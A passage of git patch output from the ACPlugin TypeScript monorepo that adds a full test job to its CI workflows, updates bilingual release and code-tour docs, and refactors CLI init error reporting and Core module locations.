"packages/extensions/hooks/src/wire-source.ts", - "packages/extensions/hooks/test/hooks.test.ts", + "packages/extensions/hooks/test/authoring-discovery.test.ts", + "packages/extensions/hooks/test/build.test.ts", + "packages/extensions/hooks/test/contributors.test.ts", + "packages/extensions/hooks/test/fixture.ts", "packages/extensions/hooks/test/hooks.types.ts", + "packages/extensions/hooks/test/protocol.test.ts", "packages/extensions/hooks/tsdown.config.ts", - "packages/extensions/mcp/src/index.ts", "packages/extensions/mcp/src/build.ts", "packages/extensions/mcp/src/constants.ts", "packages/extensions/mcp/src/contributors/antigravity.ts", @@ -189,10 +148,114 @@ "packages/extensions/mcp/src/contributors/opencode.ts", "packages/extensions/mcp/src/contributors/pi.ts", "packages/extensions/mcp/src/discovery.ts", + "packages/extensions/mcp/src/index.ts", "packages/extensions/mcp/src/sorting.ts", "packages/extensions/mcp/src/types.ts", - "packages/extensions/mcp/test/mcp.test.ts", + "packages/extensions/mcp/test/authoring-discovery.test.ts", + "packages/extensions/mcp/test/build-contributors.test.ts", + "packages/extensions/mcp/test/discovery-validation.test.ts", + "packages/extensions/mcp/test/fixture.ts", + "packages/extensions/mcp/test/protocol.test.ts", "packages/extensions/mcp/tsdown.config.ts", + "packages/platforms/antigravity/src/index.ts", + "packages/platforms/antigravity/src/package/components.ts", + "packages/platforms/antigravity/src/package/manifest.ts", + "packages/platforms/antigravity/src/package/validator.ts", + "packages/platforms/antigravity/test/platform.test.ts", + "packages/platforms/antigravity/tsdown.config.ts", + "packages/platforms/antigravity/vitest.config.ts", + "packages/platforms/claude-code/src/index.ts", + "packages/platforms/claude-code/src/package/components.ts", + "packages/platforms/claude-code/src/package/manifest.ts", + "packages/platforms/claude-code/src/package/validation/hooks.ts", + "packages/platforms/claude-code/src/package/validation/index.ts", + "packages/platforms/claude-code/src/package/validation/manifest.ts", + "packages/platforms/claude-code/src/package/validation/marketplace.ts", + "packages/platforms/claude-code/src/package/validation/mcp.ts", + "packages/platforms/claude-code/src/package/validation/shared.ts", + "packages/platforms/claude-code/src/types.ts", + "packages/platforms/claude-code/test/platform.test.ts", + "packages/platforms/claude-code/tsdown.config.ts", + "packages/platforms/claude-code/vitest.config.ts", + "packages/platforms/codex/src/index.ts", + "packages/platforms/codex/src/package/components.ts", + "packages/platforms/codex/src/package/manifest.ts", + "packages/platforms/codex/src/package/protocol.ts", + "packages/platforms/codex/src/package/validation/assets.ts", + "packages/platforms/codex/src/package/validation/hooks.ts", + "packages/platforms/codex/src/package/validation/index.ts", + "packages/platforms/codex/src/package/validation/manifest.ts", + "packages/platforms/codex/src/package/validation/marketplace.ts", + "packages/platforms/codex/src/package/validation/mcp.ts", + "packages/platforms/codex/src/package/validation/shared.ts", + "packages/platforms/codex/src/package/validation/skills.ts", + "packages/platforms/codex/src/types.ts", + "packages/platforms/codex/test/platform.test.ts", + "packages/platforms/codex/tsdown.config.ts", + "packages/platforms/codex/vitest.config.ts", + "packages/platforms/cursor/src/index.ts", + "packages/platforms/cursor/src/package/components.ts", + "packages/platforms/cursor/src/package/manifest.ts", + "packages/platforms/cursor/src/package/validator.ts", + "packages/platforms/cursor/src/types.ts", + "packages/platforms/cursor/test/platform.test.ts", + "packages/platforms/cursor/tsdown.config.ts", + "packages/platforms/cursor/vitest.config.ts", + "packages/platforms/opencode/src/index.ts", + "packages/platforms/opencode/src/package/components.ts", + "packages/platforms/opencode/src/package/config-document.ts", + "packages/platforms/opencode/src/package/validator.ts", + "packages/platforms/opencode/src/types.ts", + "packages/platforms/opencode/test/platform.test.ts", + "packages/platforms/opencode/tsdown.config.ts", + "packages/platforms/opencode/vitest.config.ts", + "packages/platforms/pi/src/index.ts", + "packages/platforms/pi/src/package/components.ts", + "packages/platforms/pi/src/package/manifest.ts", + "packages/platforms/pi/src/package/validator.ts", + "packages/platforms/pi/src/types.ts", + "packages/platforms/pi/test/platform.test.ts", + "packages/platforms/pi/tsdown.config.ts", + "packages/platforms/pi/vitest.config.ts", + "packages/playground/acplugin.config.ts", + "packages/playground/src/hooks/permission-request/hook.ts", + "packages/playground/src/hooks/post-compact/hook.ts", + "packages/playground/src/hooks/post-tool-use/hook.ts", + "packages/playground/src/hooks/pre-compact/hook.ts", + "packages/playground/src/hooks/pre-tool-use/hook.ts", + "packages/playground/src/hooks/session-end/hook.ts", + "packages/playground/src/hooks/session-start/hook.ts", + "packages/playground/src/hooks/stop/hook.ts", + "packages/playground/src/hooks/subagent-start/hook.ts", + "packages/playground/src/hooks/subagent-stop/hook.ts", + "packages/playground/src/hooks/user-prompt-submit/hook.ts", + "packages/playground/src/mcp/local-tools/mcp.ts", + "packages/playground/src/mcp/local-tools/server.ts", + "packages/playground/src/mcp/oauth-docs/mcp.ts", + "packages/playground/src/mcp/protected-docs/mcp.ts", + "packages/playground/src/mcp/public-docs/mcp.ts", + "packages/playground/src/runtime/main.ts", + "packages/test/test/api/extension-api.types.ts", + "packages/test/test/api/legacy-api.types.ts", + "packages/test/test/api/public-api.types.ts", + "packages/test/test/api/sdk-package-boundary.test.ts", + "packages/test/test/architecture/architecture.test.ts", + "packages/test/test/architecture/integration-boundaries.test.ts", + "packages/test/test/architecture/repository.test.ts", + "packages/test/test/architecture/workspace-layout.test.ts", + "packages/test/test/architecture/workspace.test.ts", + "packages/test/test/cli/build.test.ts", + "packages/test/test/cli/cli.test.ts", + "packages/test/test/cli/init.test.ts", + "packages/test/test/extensions/hooks.test.ts", + "packages/test/test/migration.test.ts", + "packages/test/test/platforms/claude-code.test.ts", + "packages/test/test/platforms/codex.test.ts", + "packages/test/test/platforms/secondary-platforms.test.ts", + "packages/test/test/release/comment-coverage.test.ts", + "packages/test/test/release/ecosystem-contract.test.ts", + "packages/test/test/release/package-boundaries.test.ts", + "packages/test/vitest.config.ts", "scripts/check-comments.mjs", "scripts/verify-docs.mjs", "scripts/verify-playground.mjs", diff --git a/scripts/sync-ecosystem-versions.mjs b/scripts/sync-ecosystem-versions.mjs index 9d6cf65..3619bae 100644 --- a/scripts/sync-ecosystem-versions.mjs +++ b/scripts/sync-ecosystem-versions.mjs @@ -7,7 +7,7 @@ import { publicPackageManifestPaths } from './public-packages.mjs'; /** Current repository root resolved independently from the invoking cwd. */ const root = path.resolve(fileURLToPath(new URL('..', import.meta.url))); /** Generated snapshot consumed by init, Migration and release verification. */ -const snapshotPath = path.join(root, 'packages/acplugin/src/ecosystem-versions.json'); +const snapshotPath = path.join(root, 'packages/acplugin/src/ecosystem/versions.json'); /** Read and validate the fixed public package manifest catalog. */ async function publicVersions() { diff --git a/scripts/verify-release.mjs b/scripts/verify-release.mjs index 7b604d7..9d117be 100644 --- a/scripts/verify-release.mjs +++ b/scripts/verify-release.mjs @@ -13,7 +13,7 @@ import { mainPublicPackageName, publicPackageManifestPaths } from './public-pack /** 当前 monorepo 根目录。 */ const root = path.resolve(fileURLToPath(new URL('..', import.meta.url))); /** init、Migration 与发布验证共享的公开生态精确版本快照。 */ -const ecosystemVersions = JSON.parse(await fs.readFile(path.join(root, 'packages/acplugin/src/ecosystem-versions.json'), 'utf8')); +const ecosystemVersions = JSON.parse(await fs.readFile(path.join(root, 'packages/acplugin/src/ecosystem/versions.json'), 'utf8')); /** 同一 revision 中独立版本化并共同验证的全部公开包。 */ const packages = await Promise.all(publicPackageManifestPaths.map(async (manifestPath) => { /** manifest 是公开目录的唯一包名来源,不能依赖生成 JSON 的键位置。 */ diff --git a/tsconfig.base.json b/tsconfig.base.json index 954563e..8547306 100644 --- a/tsconfig.base.json +++ b/tsconfig.base.json @@ -5,8 +5,8 @@ "moduleResolution": "NodeNext", "paths": { "@acplugin/core": ["./packages/core/src/index.ts"], - "@acplugin/core/kernel-author": ["./packages/core/src/kernel-author.ts"], - "@acplugin/core/kernel-sdk": ["./packages/core/src/kernel-sdk.ts"], + "@acplugin/core/author": ["./packages/core/src/api/author.ts"], + "@acplugin/core/integration": ["./packages/core/src/api/integration.ts"], "@tokenroll/acplugin": ["./packages/acplugin/src/index.ts"], "@tokenroll/acplugin/sdk": ["./packages/acplugin/src/sdk.ts"], "@tokenroll/acplugin-platform-antigravity": ["./packages/platforms/antigravity/src/index.ts"], From 3bed342278e9e5b7abb3572a3eca12e361d8616f Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Thu, 20 Aug 2026 18:52:31 +0800 Subject: [PATCH 25/27] feat: Remove session-scope.ts from comment coverage and add it to services, along with module-host.ts --- .github/workflows/check.yml | 13 + .github/workflows/patch.yml | 2 + AGENTS.md | 2 +- llmdoc/guides/package-code-tour.zh-CN.md | 4 +- llmdoc/guides/release.md | 4 +- llmdoc/guides/release.zh-CN.md | 4 +- llmdoc/state/sync.md | 11 +- packages/acplugin/src/cli/commands/init.ts | 14 +- packages/acplugin/src/cli/output.ts | 36 +- packages/acplugin/src/migration/validation.ts | 2 +- .../modules.ts => compiler/module-host.ts} | 14 +- .../core/src/lifecycle/build-environment.ts | 4 +- packages/core/src/lifecycle/build-session.ts | 6 - packages/core/src/lifecycle/dev-session.ts | 6 +- packages/core/src/package/compatibility.ts | 2 +- packages/core/src/package/documents.ts | 2 +- packages/core/src/package/json-snapshot.ts | 4 - packages/core/src/package/registry.ts | 2 +- packages/core/src/package/report-builder.ts | 2 +- packages/core/src/project/project.ts | 6 +- packages/core/src/services/assets.ts | 2 +- .../{lifecycle => services}/session-scope.ts | 2 +- packages/core/src/services/sources.ts | 2 +- packages/core/src/services/watch.ts | 2 +- .../core/src/services/work-directories.ts | 2 +- .../test/compiler/compiler-managed.test.ts | 2 +- .../test/compiler/compiler-portable.test.ts | 2 +- .../module-host.test.ts | 4 +- .../core/test/lifecycle/build-session.test.ts | 6 +- packages/core/test/output/transaction.test.ts | 2 +- .../package/candidate-materializer.test.ts | 2 +- .../package/distribution-registry.test.ts | 2 +- .../test/package/package-registry.test.ts | 2 +- .../core/test/package/report-builder.test.ts | 2 +- .../test/resources/canonical-provider.test.ts | 2 +- .../test/resources/extension-provider.test.ts | 2 +- .../test/resources/public-provider.test.ts | 2 +- .../test/resources/resource-registry.test.ts | 2 +- .../test/resources/runtime-provider.test.ts | 2 +- .../core/test/services/asset-registry.test.ts | 2 +- .../core/test/services/execution-host.test.ts | 2 +- .../test/services/source-registry.test.ts | 2 +- .../core/test/services/watch-registry.test.ts | 2 +- .../integration-boundaries.test.ts | 56 ++ .../test/test/architecture/repository.test.ts | 19 +- .../architecture/workspace-layout.test.ts | 15 +- packages/test/test/cli/init.test.ts | 9 +- packages/test/test/migration.test.ts | 8 +- review1.md | 851 +++++------------- review2.md | 389 ++------ scripts/comment-coverage.json | 4 +- 51 files changed, 504 insertions(+), 1039 deletions(-) rename packages/core/src/{services/modules.ts => compiler/module-host.ts} (96%) rename packages/core/src/{lifecycle => services}/session-scope.ts (92%) rename packages/core/test/{services => compiler}/module-host.test.ts (98%) diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml index d22c3a3..75dbfc3 100644 --- a/.github/workflows/check.yml +++ b/.github/workflows/check.yml @@ -22,6 +22,19 @@ jobs: - run: pnpm run lint - run: pnpm run typecheck + test: + name: Test + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v6 + - uses: pnpm/action-setup@v6 + - uses: actions/setup-node@v6 + with: + node-version: 22.18.0 + cache: pnpm + - run: pnpm install --frozen-lockfile + - run: pnpm run test + docs: name: Docs and playground runs-on: ubuntu-latest diff --git a/.github/workflows/patch.yml b/.github/workflows/patch.yml index 89a3ebc..94fbab5 100644 --- a/.github/workflows/patch.yml +++ b/.github/workflows/patch.yml @@ -121,8 +121,10 @@ jobs: NODE pnpm install --lockfile-only + - run: pnpm run versions:check - run: pnpm run lint - run: pnpm run typecheck + - run: pnpm run test - name: Create or update the version PR id: version-pr diff --git a/AGENTS.md b/AGENTS.md index 4f05914..8e1c968 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -136,7 +136,7 @@ pnpm run release:verify ## 发行 - 九个公开包由 Changesets 独立版本化;兼容性由 lifecycle `apiVersion` 和主包 peer range 表达,不使用 fixed group。 -- `Check` Workflow 在 PR 上自动执行 lint/typecheck,并通过独立 Job 执行 `docs:check`。 +- `Check` Workflow 在 PR 上自动执行 lint/typecheck,并通过独立 Job 执行完整 `test` 与 `docs:check`。 - `Patch` Workflow 只能手工触发;从默认分支选择目标分支,在写版本前确认至少一个有效 Changeset 会升级公开包,再消费 Changesets、生成 changelog、升级各自声明的公开包版本,并创建回到该目标分支的版本 PR。 - 所有版本均由维护者从已验证 tarball 手工发布;仓库不得添加 Tag/npm 自动发布 Workflow。 - 每个变更的公开包都要验证 Registry 精确版本;依赖新的主包 peer range 时先发布主包,再发布对应 Platform/Extension。 diff --git a/llmdoc/guides/package-code-tour.zh-CN.md b/llmdoc/guides/package-code-tour.zh-CN.md index 5e89e87..c4a347b 100644 --- a/llmdoc/guides/package-code-tour.zh-CN.md +++ b/llmdoc/guides/package-code-tour.zh-CN.md @@ -82,13 +82,13 @@ Kernel 不把物理路径和任意文件系统权限交给 Integration,而是 | 模块 | 能力 | | --- | --- | | `services/sources.ts` | 验证来源根、普通文件、symlink/特殊文件、SourceRef 授权 | -| `services/modules.ts` | 通过受管 ESM 图加载可信 TypeScript/JavaScript config/descriptor | +| `compiler/module-host.ts` | 通过唯一受管 Rolldown ESM 图加载可信 TypeScript/JavaScript config/descriptor | | `compiler/compiler-service.ts` | 当前 Session 唯一 Rolldown owner,返回 GeneratedAssetRef 与脱敏模块图 | | `services/execution.ts` | 在隔离 cwd、最小显式环境、超时和输出上限内执行 portable Node Asset | | `services/assets.ts` | 签发 Source/Generated/Bytes AssetRef,记录 owner/origin/mode/size/hash 与 grant | | `services/watch.ts` | 集中记录 Resource、Module、Compiler 实际读取的依赖 | | `services/work-directories.ts` | 为 owner 管理不可伪造的内部 workDir;不公开物理写权限 | -| `lifecycle/session-scope.ts` | Session 结束后统一撤销所有 capability identity | +| `services/session-scope.ts` | Session 结束后统一撤销所有 capability identity | AssetRef 不是可伪造的 `{ path }`。Registry 使用对象身份验证当前 Session、真实 issuer 与 consumer grant;报告中的 origin 为结构化工程相对来源,不影响内容 hash。 diff --git a/llmdoc/guides/release.md b/llmdoc/guides/release.md index fd4e3b4..5277713 100644 --- a/llmdoc/guides/release.md +++ b/llmdoc/guides/release.md @@ -20,11 +20,11 @@ Repository build and release tooling requires Node.js `^22.18.0 || >=24.11.0`; C ## Repository workflows -`Check` runs automatically for pull requests. One job performs lint and typecheck; an independent job runs `docs:check`, which rebuilds generated API pages, checks VitePress links/structure, and validates/builds the real Playground. +`Check` runs automatically for pull requests. One job performs lint and typecheck; an independent job runs the complete `test` suite; another independent job runs `docs:check`, which rebuilds generated API pages, checks VitePress links/structure, and validates/builds the real Playground. `Verify` is manually dispatched with read-only repository permissions. It builds and validates all nine tarballs from one revision on Node 22.18, uploads that exact artifact set, then consumes it in a clean Node 20.19 project. It never publishes or creates release references. Verifying one revision together does not make the packages a fixed version cohort. -`Patch` is manually dispatched from the repository default branch with a required target-branch input. The target branch must contain at least one effective Changeset that releases a public package; an empty Changeset does not pass the gate. Before any version write, the workflow checks the release plan with `pnpm changeset status`. It then consumes all Changesets with `pnpm version-packages`, verifies that at least one public version changed, refreshes the pnpm lockfile, runs lint and typecheck, and creates or updates a version PR whose base is the selected target branch. +`Patch` is manually dispatched from the repository default branch with a required target-branch input. The target branch must contain at least one effective Changeset that releases a public package; an empty Changeset does not pass the gate. Before any version write, the workflow checks the release plan with `pnpm changeset status`. It then consumes all Changesets with `pnpm version-packages`, verifies that at least one public version changed, refreshes the pnpm lockfile, runs versions check, lint, typecheck, and the complete test suite, and creates or updates a version PR whose base is the selected target branch. The repository setting **Actions → General → Workflow permissions → Allow GitHub Actions to create and approve pull requests** must be enabled for `Patch` to create the PR with `GITHUB_TOKEN`. The workflow does not publish packages or create release references. diff --git a/llmdoc/guides/release.zh-CN.md b/llmdoc/guides/release.zh-CN.md index d36a3ec..eee1a3d 100644 --- a/llmdoc/guides/release.zh-CN.md +++ b/llmdoc/guides/release.zh-CN.md @@ -20,11 +20,11 @@ Core、测试工作区、Docs 和 Playground 是私有包,不能发布,也 ## 仓库工作流 -`Check` 在 Pull Request 创建时自动执行:一个 Job 运行 lint/typecheck,另一个独立 Job 运行 `docs:check`,重新生成 API 页面、检查 VitePress 链接/结构,并验证及构建真实 Playground。 +`Check` 在 Pull Request 创建时自动执行:一个 Job 运行 lint/typecheck,一个独立 Job 运行完整 `test` 套件,另一个独立 Job 运行 `docs:check`,重新生成 API 页面、检查 VitePress 链接/结构,并验证及构建真实 Playground。 `Verify` 仅能手工触发,并使用只读仓库权限。它在 Node 22.18 上从同一 Revision 构建和验证九个 tarball,上传这组精确 Artifact,再在干净的 Node 20.19 工程中消费同一组文件;不会发布或创建 Release 引用。同一 Revision 一起验证不代表这些 package 属于固定版本组。 -`Patch` 从仓库默认分支手工触发,必须提供目标分支。目标分支必须至少包含一个让公开 package 产生发布的有效 Changeset;空 Changeset 不满足门禁。工作流会在任何版本写入前使用 `pnpm changeset status` 验证发布计划,再用 `pnpm version-packages` 消费全部 Changeset,确认至少一个公开版本发生变化,刷新 pnpm lockfile,运行 lint 和 typecheck,然后创建或更新一个以所选目标分支为 base 的版本 PR。 +`Patch` 从仓库默认分支手工触发,必须提供目标分支。目标分支必须至少包含一个让公开 package 产生发布的有效 Changeset;空 Changeset 不满足门禁。工作流会在任何版本写入前使用 `pnpm changeset status` 验证发布计划,再用 `pnpm version-packages` 消费全部 Changeset,确认至少一个公开版本发生变化,刷新 pnpm lockfile,依次运行 versions check、lint、typecheck 和完整 `test` 套件,然后创建或更新一个以所选目标分支为 base 的版本 PR。 为了让 `Patch` 使用 `GITHUB_TOKEN` 创建 PR,必须启用仓库设置 **Actions → General → Workflow permissions → Allow GitHub Actions to create and approve pull requests**。该工作流不会发布 package,也不会创建任何 Release 引用。 diff --git a/llmdoc/state/sync.md b/llmdoc/state/sync.md index 0dc4f93..c04fc8c 100644 --- a/llmdoc/state/sync.md +++ b/llmdoc/state/sync.md @@ -1,8 +1,10 @@ # llmdoc sync state -- Baseline commit: `889da323a73d0016870390be32f82cc0c79c6a00` +- Rewrite fixed point: `889da323a73d0016870390be32f82cc0c79c6a00` +- Current integrated commit: `51d68522ba6044fb60d06573491d4504688ddf56` +- Workspace state: the post-layout remediation is unstaged, with the three relocation destinations still reported as untracked and their former paths as unstaged deletions. `review1.md` and `review2.md` remain the user's pre-existing staged review inputs. The worktree is intentionally not clean. - Mode: `full` -- Workflow: the architecture rewrite and the follow-up package-layout reorganization have completed grill-with-docs, specification, T01–T16 implementation, full validation, and final two-axis code review. All review findings were remediated and rechecked. All changes remain local and uncommitted, with no push, publication, Tag, Release, dist-tag, or registry mutation. +- Workflow: the architecture rewrite and the follow-up package-layout reorganization are integrated at the current commit. The post-layout review remediation tickets T01–T05 are complete, have passed full validation, and have passed final Standards/Spec review with no remaining finding. No commit, push, publication, Tag, Release, dist-tag, or registry mutation was performed. - Architecture: ACPlugin is a Rolldown-based AI Plugin framework and CLI. Core owns the only lifecycle, Module/Compiler/Execution/Watch services, Source/Asset authorization, Package merge, candidate materialization, compatibility report, transaction, and DevSession. `LIFECYCLE_API_VERSION` remains `1` by explicit product decision; no v1 compatibility layer remains. - Public packages: nine independently versioned packages comprise the main package, six Platform packages, and Hooks/MCP Extensions. Core, Test, Docs, and Playground are private. Node Runtime is a Core Framework Resource, not an Extension package. - Public boundaries: authors use the root `@tokenroll/acplugin` entry and only `defineConfig()` as a define helper. Platform and Extension implementations use `@tokenroll/acplugin/sdk`. The main package bundles private Core but does not bundle or re-export official integrations; public tarballs have no private `@acplugin/*` runtime dependency. @@ -21,8 +23,9 @@ - Migration: legacy input support stays lazily isolated under `packages/acplugin/src/migration/`. It uses the real Project/Kernel lifecycle for generated-project validation but is not a second normal build path; tolerant legacy readers are not mechanically rewritten to match strict Core internals. - Cleanup: obsolete Scanner/config/lifecycle/Artifact/DeliveryUnit implementations, Integration-local bundlers, adapter-era files, `output-paths.ts`, Core `kernel/`, transitional root modules, old Platform root package implementations, monolithic Extension tests, and stale test-name suffixes are removed. Core source and tests now mirror explicit contract, compiler, resource, lifecycle, package, output, service, and security domains. Architecture guards allow no v1 production symbol, confine Rolldown to the Core driver, and confine Chokidar to Core DevSession. - Release state: manifests retain the maintainer-requested beta versions: main `0.0.2-beta`, Codex `0.0.3-beta`, and the other five Platforms plus Hooks/MCP `0.0.2-beta`. Changesets describe the architecture rewrite but have not been consumed. -- Validation: the final frozen install, lint and comment guard, TypeScript 7 typecheck, all Vitest tests, tsdown build, ATTW, publint, TypeDoc, VitePress, real Playground verification, and nine-tarball clean-consumer release verification pass. Changeset status lists exactly the nine public packages. Static audits find no v1 production symbol or deleted legacy file, keep direct Rolldown ownership in `compiler/engine-loader.ts`, keep Chokidar ownership in `lifecycle/dev-session.ts`, find no Integration `dist` write, and both staged and unstaged Git whitespace checks pass. -- Review state: the supplied cross-reviews and the final Standards/Spec review were evidence-checked. The final review found one stale repository-skill path set and five transitional test names; both findings were fixed and independently rechecked with no remaining findings. +- Validation: lint and the 259-file comment guard, TypeScript 7 typecheck, all Vitest tests, tsdown build, ATTW, publint, TypeDoc, VitePress, real Playground verification, and nine-tarball clean-consumer release verification pass. Versions check succeeds and Changeset status lists exactly the nine public packages. Static audits find no v1 production symbol or deleted legacy file, keep direct Rolldown ownership in `compiler/engine-loader.ts`, keep Chokidar ownership in `lifecycle/dev-session.ts`, find no Integration `dist` write, find no cycle in the 70-file Core runtime import graph, and both staged and unstaged Git whitespace checks pass. +- Prior review state: the architecture/package-layout review found one stale repository-skill path set and five transitional test names; both findings were fixed and independently rechecked before the current post-layout remediation. +- Current review state: the post-layout Standards/Spec review findings were remediated and independently re-reviewed; both axes pass with no remaining finding. ```text pnpm install --frozen-lockfile diff --git a/packages/acplugin/src/cli/commands/init.ts b/packages/acplugin/src/cli/commands/init.ts index 0649dd0..83d72c8 100644 --- a/packages/acplugin/src/cli/commands/init.ts +++ b/packages/acplugin/src/cli/commands/init.ts @@ -1,7 +1,8 @@ import process from 'node:process'; import type { Command } from 'commander'; import { initializeProject, type InitPlatformId } from '../../index.js'; -import { writeFailure } from '../output.js'; +import { InitError } from '../../scaffolding/prompts.js'; +import { writeFailure, writeKnownFailure } from '../output.js'; /** Commander 解析后的 init 选项。 */ interface InitCliOptions { @@ -54,7 +55,16 @@ export function registerInitCommand(program: Command): void { if (options.install && !result.installed) process.exitCode = 1; } catch (error) { - writeFailure('init', error, options.json, false); + if (error instanceof InitError) { + writeKnownFailure('init', [{ + code: 'INIT_INVALID', + severity: 'error', + message: error.message, + phase: 'init', + }], options.json); + } else { + writeFailure('init', error, options.json, false); + } process.exitCode = 1; } }); diff --git a/packages/acplugin/src/cli/output.ts b/packages/acplugin/src/cli/output.ts index 8590a7e..fed5b18 100644 --- a/packages/acplugin/src/cli/output.ts +++ b/packages/acplugin/src/cli/output.ts @@ -4,7 +4,6 @@ import { serializeBuildReport, type BuildReport, } from '../index.js'; -import { InitError } from '../scaffolding/init.js'; /** CLI 边界失败使用的脱敏诊断。 */ interface CliFailureDiagnostic { @@ -73,24 +72,26 @@ export function writeDevProgress(report: BuildReport): void { /** 将配置或命令异常转换为不泄露内部详情的 CLI 报告。 */ function failureReport(command: string, error: unknown, internal: boolean): CliFailureReport { - /** 配置和 init 错误保留安全原因,其余异常只输出固定消息。 */ + /** 配置错误保留安全原因,其余异常只输出固定消息。 */ const diagnostics: readonly CliFailureDiagnostic[] = error instanceof ProjectConfigError ? error.diagnostics - : error instanceof InitError - ? [{ code: 'INIT_INVALID', severity: 'error', message: error.message, phase: command }] - : [{ - code: internal ? 'FRAMEWORK_INTERNAL_FAILED' : 'COMMAND_FAILED', - severity: 'error', - message: internal ? 'The command failed inside the framework.' : `${command} failed.`, - phase: internal ? 'internal' : command, - }]; + : [{ + code: internal ? 'FRAMEWORK_INTERNAL_FAILED' : 'COMMAND_FAILED', + severity: 'error', + message: internal ? 'The command failed inside the framework.' : `${command} failed.`, + phase: internal ? 'internal' : command, + }]; return { schemaVersion: 2, command, diagnostics, success: false }; } -/** 展示尚未进入 Core 报告阶段的失败。 */ -export function writeFailure(command: string, error: unknown, json: boolean | undefined, internal: boolean): void { - /** 从未知异常收敛出的安全失败报告。 */ - const report = failureReport(command, error, internal); +/** 以统一 CLI 格式写出已由命令层脱敏分类的预期失败。 */ +export function writeKnownFailure( + command: string, + diagnostics: readonly CliFailureDiagnostic[], + json: boolean | undefined, +): void { + /** 命令层只允许提交稳定的用户可见诊断。 */ + const report: CliFailureReport = { schemaVersion: 2, command, diagnostics, success: false }; if (json) { process.stdout.write(`${JSON.stringify(report, null, 2)}\n`); return; @@ -99,6 +100,13 @@ export function writeFailure(command: string, error: unknown, json: boolean | un process.stderr.write(`${diagnostic.severity} ${diagnostic.code}: ${diagnostic.message}\n`); } +/** 展示尚未进入 Core 报告阶段的失败。 */ +export function writeFailure(command: string, error: unknown, json: boolean | undefined, internal: boolean): void { + /** 从未知异常收敛出的安全失败报告。 */ + const report = failureReport(command, error, internal); + writeKnownFailure(command, report.diagnostics, json); +} + /** 根据最终结构化诊断区分成功、项目失败和框架内部失败。 */ export function exitCodeFor(report: BuildReport): 0 | 1 | 2 { if (report.success) diff --git a/packages/acplugin/src/migration/validation.ts b/packages/acplugin/src/migration/validation.ts index 96352da..8fda1a9 100644 --- a/packages/acplugin/src/migration/validation.ts +++ b/packages/acplugin/src/migration/validation.ts @@ -11,7 +11,7 @@ import { stableJson, type Diagnostic, type PluginMetadata, -} from '@acplugin/core'; +} from '@acplugin/core/integration'; import { copyText } from './writers/shared.js'; /** 只在生成工程验证期间向临时 ESM 代理暴露真实公开 API 的全局键。 */ diff --git a/packages/core/src/services/modules.ts b/packages/core/src/compiler/module-host.ts similarity index 96% rename from packages/core/src/services/modules.ts rename to packages/core/src/compiler/module-host.ts index 80c555a..a8311b1 100644 --- a/packages/core/src/services/modules.ts +++ b/packages/core/src/compiler/module-host.ts @@ -6,12 +6,12 @@ import type { SourceFileRef, } from '../contracts/services.js'; import { safeRelativePath, validatePhysicalEntry } from '../security/path-policy.js'; -import { SourceRegistry } from './sources.js'; -import { WatchRegistry, type WatchObservation } from './watch.js'; -import { WorkDirectoryRegistry } from './work-directories.js'; -import { loadManagedEngine, type EngineInputOptions, type EngineOutputOptions, type ManagedEngine } from '../compiler/engine-loader.js'; -import { packageScope, type ManagedPackageScope } from '../compiler/managed/boundary.js'; -import { normalizeNodeBuiltin, portableNodePolicyPlugin } from '../compiler/portable-node/policy.js'; +import { SourceRegistry } from '../services/sources.js'; +import { WatchRegistry, type WatchObservation } from '../services/watch.js'; +import { WorkDirectoryRegistry } from '../services/work-directories.js'; +import { loadManagedEngine, type EngineInputOptions, type EngineOutputOptions, type ManagedEngine } from './engine-loader.js'; +import { packageScope, type ManagedPackageScope } from './managed/boundary.js'; +import { normalizeNodeBuiltin, portableNodePolicyPlugin } from './portable-node/policy.js'; /** Module Host operation 使用的稳定 ID。 */ const MODULE_ID = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; @@ -139,7 +139,7 @@ export interface ModuleHostOptions { readonly watch: WatchRegistry; } -/** Core 唯一、按 owner 签发可信 TS/JS loader 的 Module Host。 */ +/** Core 唯一、按 owner 签发可信 TS/JS Rolldown loader 的 Module Host。 */ export class ModuleHost { /** 工程解析根。 */ readonly #projectRoot: string; diff --git a/packages/core/src/lifecycle/build-environment.ts b/packages/core/src/lifecycle/build-environment.ts index 53162aa..4851ac9 100644 --- a/packages/core/src/lifecycle/build-environment.ts +++ b/packages/core/src/lifecycle/build-environment.ts @@ -5,11 +5,11 @@ import { CompilerHost } from '../compiler/compiler-service.js'; import { AssetRegistry } from '../services/assets.js'; import { DiagnosticRegistry } from '../services/diagnostics.js'; import { ExecutionHost } from '../services/execution.js'; -import { ModuleHost } from '../services/modules.js'; +import { ModuleHost } from '../compiler/module-host.js'; import { SourceRegistry } from '../services/sources.js'; import { WatchRegistry } from '../services/watch.js'; import { WorkDirectoryRegistry } from '../services/work-directories.js'; -import { BuildSessionScope } from './session-scope.js'; +import { BuildSessionScope } from '../services/session-scope.js'; /** Project config loader 与 BuildSession 共享的唯一 Host/Registry 环境。 */ export interface KernelBuildEnvironment { diff --git a/packages/core/src/lifecycle/build-session.ts b/packages/core/src/lifecycle/build-session.ts index 4e18de0..3f631a2 100644 --- a/packages/core/src/lifecycle/build-session.ts +++ b/packages/core/src/lifecycle/build-session.ts @@ -45,12 +45,6 @@ import { type KernelBuildEnvironment, } from './build-environment.js'; -export { - createKernelBuildEnvironment, - disposeKernelBuildEnvironment, - type KernelBuildEnvironment, -} from './build-environment.js'; - /** Kernel one-shot 执行所需的内部输入。 */ export interface KernelBuildSessionInput { readonly config: ResolvedKernelConfig; diff --git a/packages/core/src/lifecycle/dev-session.ts b/packages/core/src/lifecycle/dev-session.ts index 86d3161..685cd86 100644 --- a/packages/core/src/lifecycle/dev-session.ts +++ b/packages/core/src/lifecycle/dev-session.ts @@ -13,11 +13,13 @@ import type { } from '../contracts/project.js'; import { createBuildReport } from '../package/report-builder.js'; import { - createKernelBuildEnvironment, - disposeKernelBuildEnvironment, runKernelBuildSession, type KernelBuildSessionResult, } from './build-session.js'; +import { + createKernelBuildEnvironment, + disposeKernelBuildEnvironment, +} from './build-environment.js'; /** Dev coordinator 向配置 loader 请求的固定命令。 */ export interface DevSessionRoundInput { diff --git a/packages/core/src/package/compatibility.ts b/packages/core/src/package/compatibility.ts index c53d935..9e35bb1 100644 --- a/packages/core/src/package/compatibility.ts +++ b/packages/core/src/package/compatibility.ts @@ -11,9 +11,9 @@ import type { } from 